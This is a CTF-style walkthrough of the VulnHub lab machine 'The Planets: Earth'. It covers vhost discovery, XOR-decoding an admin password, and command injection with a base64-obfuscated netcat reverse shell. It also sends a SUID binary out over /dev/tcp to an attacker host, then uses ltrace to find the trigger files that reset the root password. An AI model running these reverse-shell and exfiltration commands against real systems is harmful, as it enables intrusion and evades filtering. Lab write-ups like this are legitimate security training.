CTF WRITEUP VULNHUB BLACK BOX EASY

The Planets: Earth — VulnHub Easy

person

Written By

Th0mas_sh316y

Difficulty

Platform

VulnHub

Target IP

192.168.0.32

The Planets Earth Machine
Machine: The Planets: Earth · Easy · Linux · VulnHub

The Planets: Earth is a deceptively simple-looking box that throws a few unusual tools at you — XOR encryption decoding via CyberChef, ltrace for binary analysis, and a SUID binary that resets the root password but only when specific magic files exist. Total time was about two hours, with the longest stretch spent on the XOR decode chain (UTF-8 → hex → XOR with key, in that order). The reset_root binary is one of the more elegant "real-world-ish" privesc puzzles I've solved.

01_Reconnaissance

Standard nmap. Three open ports — SSH, HTTP, HTTPS. Default scripts surface two virtual hostnames in the SSL cert SAN: earth.local and terratest.earth.local. Add both to /etc/hosts.

terminal / nmap + hosts
$ sudo nmap -p22,80,443 192.168.0.32 -sC

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
| ssl-cert: Subject Alternative Name:
|   DNS:earth.local, DNS:terratest.earth.local

$ sudo bash -c "echo '192.168.0.32 earth.local terratest.earth.local' >> /etc/hosts"

02_Virtual_Host_Enumeration

Two vhosts to enumerate. earth.local serves the public site. terratest.earth.local exposes /robots.txt which leads to two notes files left behind by a developer.

terminal / dirb + curl
$ dirb https://earth.local
$ dirb https://terratest.earth.local/

$ curl -sk https://terratest.earth.local/robots.txt
User-agent: *
Disallow: /testingnotes.txt

$ curl -sk https://terratest.earth.local/testingnotes.txt
testdata.txt is used as the encryption key
notes:
- using XOR cipher
- terra is admin

$ curl -sk https://terratest.earth.local/testdata.txt
[XOR encryption key — short ASCII string]

On earth.local, the front page renders three lines that are XOR-encrypted with the key from testdata.txt — these are the admin password.

03_XOR_Decryption_via_CyberChef

The encrypted strings are hex-encoded UTF-8. Order of operations in CyberChef matters here — From UTF-8 → From Hex → XOR with the key. Skip the UTF-8 step and the hex won't parse cleanly.

cyberchef recipe
# CyberChef recipe (in order):
1. From UTF-8
2. From Hex
3. XOR (key from testdata.txt, key format = UTF8)

# Output:
terra : earthclimatechangebad4humans

Crypto Note — XOR with Reused Key

XOR is a symmetric operation — the same key both encrypts and decrypts. Using a short text key with XOR is a textbook "don't" because of the many-time-pad weakness, but for CTF purposes it's a recognisable pattern: any time you see hex blobs near a "key" file, try XOR first.

04_Admin_Panel_Command_Injection

Login to the admin panel with terra : earthclimatechangebad4humans. The admin panel offers a "command runner" form that takes raw input and pipes it to the shell — the textbook command-injection sink. Confirm with ls, then upgrade to a base64-encoded reverse shell to evade any naive filtering.

terminal / b64 reverse shell
# Build the payload
$ echo "nc -e /bin/bash 192.168.0.100 4444" | base64
bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMC4xMDAgNDQ0NAo=

# In admin panel command field:
echo "bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMC4xMDAgNDQ0NAo=" | base64 -d | bash

# Listener
$ nc -lvnp 4444

connect to [192.168.0.100] from (UNKNOWN) [192.168.0.32] 38502

$ python3 -c "import pty; pty.spawn('/bin/bash')"
[apache@earth /]$ id
uid=48(apache) gid=48(apache)

05_PrivEsc_via_reset_root_SUID

SUID hunt. There's a binary called /usr/bin/reset_root with the SUID bit and the name is the giveaway. Running it first time gives an unhelpful error: "CHECKING IF RESET TRIGGERS PRESENT...not all triggers found, exiting". So I exfiltrate the binary to my attacker box and run ltrace on it to see what files it's checking for.

terminal / exfil + ltrace
# On target — pipe binary over /dev/tcp to attacker
[apache@earth /]$ cat /usr/bin/reset_root > /dev/tcp/192.168.0.100/9999

# Attacker side — listener catches the binary
$ nc -lvnp 9999 > reset_root
$ chmod +x reset_root

# Trace its system calls and library access
$ ltrace ./reset_root

access("/dev/shm/kHgTFI5G", F_OK)  = -1
access("/dev/shm/Zw7bV9U5", F_OK)  = -1
access("/tmp/kcM0Wewe", F_OK)      = -1
puts("CHECKING IF RESET TRIGGERS PRESENT...
[Three magic file paths revealed — binary checks for all three before resetting root]
terminal / trigger + run
# Back on target — create the three trigger files
[apache@earth /]$ touch /dev/shm/kHgTFI5G
[apache@earth /]$ touch /dev/shm/Zw7bV9U5
[apache@earth /]$ touch /tmp/kcM0Wewe

[apache@earth /]$ /usr/bin/reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth

[apache@earth /]$ su root
Password: Earth

# whoami
root

# cat /root/root_flag.txt
[REDACTED]

Technique Note — ltrace for Black-Box Binaries

ltrace shows library calls (libc, libcrypt, etc.) made by a binary. strace shows system calls. For "what files does this thing check for" questions, ltrace usually surfaces the answer faster because access() calls are right at libc level. Always run an unfamiliar SUID binary through both before assuming it's unexploitable.

06_Attack_Chain_Summary

  1. 01 Nmap → ports 22, 80, 443; SSL cert SAN = earth.local + terratest.earth.local
  2. 02 Add both to /etc/hosts → vhost enum
  3. 03 terratest /robots.txt → testingnotes.txt + testdata.txt (XOR key)
  4. 04 CyberChef: From UTF-8 → From Hex → XOR → terra : earthclimatechangebad4humans
  5. 05 Admin panel command injection → base64 reverse shell as apache
  6. 06 SUID /usr/bin/reset_root → exfil to attacker → ltrace → 3 magic files
  7. 07 touch /dev/shm/kHgTFI5G + /dev/shm/Zw7bV9U5 + /tmp/kcM0Wewe
  8. 08 ./reset_root → root password = "Earth" → su root → root_flag.txt